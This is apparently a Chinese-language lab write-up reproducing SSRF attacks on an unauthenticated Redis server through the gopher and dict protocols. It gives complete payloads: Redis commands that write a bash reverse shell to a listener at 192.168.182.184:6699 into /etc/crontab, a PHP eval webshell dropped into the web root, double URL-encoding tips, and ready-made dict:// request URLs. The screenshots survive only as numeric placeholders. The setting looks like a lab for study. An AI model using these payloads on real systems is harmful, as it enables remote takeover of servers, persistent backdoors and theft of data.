利用ssrf配合redis反弹shell:

: : 一直都说SSRF是我们漫游内网的好帮手,今天就来实际复现一下SSRF配合redis获取反弹shell和webshell的过程

目标主机初始计划任务内容:

1665310761923

构造攻击payload,对攻击语句进行编码:

这里利用的是gopher协议执行redis数据库的文件备份命令,在redis数据库存未设置密码时,我们可以直接执行备份命令,利用自定义备份文件名来覆盖原有的文件或是创建新文件

payload为:

1
2
3
4
5
6
7
8
9
set tom "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.182.184/6699 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

quit

**注意事项1:**这里使用gopher协议执行redis命令,必须有quit命令才会有回显,但不影响前面命令的执行。

**注意事项2:**使用gopher协议可以一次性执行多条命令,但是每条命令最后都必须有%0d%0a代表此条命令结束,包括最后一条命令;最后所有命令应当放在同一行利用gopher协议发出。

**注意事项3:**因为使用gopher协议,在连接时gopher协议会对数据进行一次URL解码,在访问链接时也会对链接进行一次URL解码,所以我们的攻击payload应当进行两次URL编码!!!

第一次编码:

1665310847683

第二次编码:

1665310904970

使用curl利用gopher协议执行命令:

**注意:**此时payload中有quit命令将会回显+ok;如果没有则会处于连接状态;这两种情况都代表命令执行成功;

1665310968412

再次查看目标主机计划任务,发现成功写入:

1665310988437

再kali攻击机上开启监听,成功反弹shell:

1665311375835

SSRF获取反弹shell复现成功!!!

ssrf漏洞配合redis写入一句话木马:

目标网站根目录:

1665311677728

构造payload语句并编码:

这里一样利用的是gopher协议执行redis数据库的文件备份命令,执行备份命令,利用自定义备份文件名和路径来在网站根目录写入一句话木马

payload为:

1
2
3
4
5
6
7
8
9
set sss "\n\n\n\n\n\n\n\n<?php @eval($_POST['123']);?>\n\n\n\n\n\n\n\n"

config set dir /www/admin/localhost_80/wwwroot/

config set dbfilename shell.php

save

quit

**注意事项1:**这里使用gopher协议执行redis命令,必须有quit命令才会有回显,但不影响前面命令的执行。

**注意事项2:**使用gopher协议可以一次性执行多条命令,但是每条命令最后都必须有%0d%0a代表此条命令结束,包括最后一条命令;最后所有命令应当放在同一行利用gopher协议发出。

**注意事项3:**因为使用gopher协议,在连接时gopher协议会对数据进行一次URL解码,在访问链接时也会对链接进行一次URL解码,所以我们的攻击payload应当进行两次URL编码!!!

第一次编码

1665311689394

第二次编码

1665311722626

通过curl利用gopher协议执行命令:

1665311798131

成功写入一句话木马:

1665311809927

菜刀链接一句话,成功获取webshell

1665311879297

SSRF获取webshell复现成功!!!

拓展dict协议:

SSRF可利用协议不光有gopher,还可以利用dict协议

利用dict协议执行redis命令时应当每条命令都发送一次链接请求

dict执行redis命令时不需要使用quit命令就能有回显

dict协议在redis中执行保存备份文件的命令为:bgsave,gopher协议为:save

在使用sict协议时不用进行多次转码,仅需将特殊符号进行一次URL编码即可

payload为:

1
2
3
4
5
6
7
8
set sss "\n\n\n\n\n\n\n\n<?php @eval($_POST['123']);?>\n\n\n\n\n\n\n\n"

config set dir /www/admin/localhost_80/wwwroot/

config set dbfilename shell.php

bgsave

转码后为:

1
2
3
4
5
6
7
8
9
10
http://192.168.182.110/ssrf.php?url=dict://127.0.0.1:6379/set+ss+"\n\n\n\n\n\n\n\n<\x3fphp+echo+111;\n\r+PHPinfo();\x3f>\n\n\n\n\n\n\n\n"


http://192.168.182.110/ssrf.php?url=dict://127.0.0.1:6379/config+set+dir+/www/admin/localhost_80/wwwroot/

http://192.168.182.110/ssrf.php?url=dict://127.0.0.1:6379/config+set+dbfilename+shell999.php


http://192.168.182.110/ssrf.php?url=dict://127.0.0.1:6379/bgsave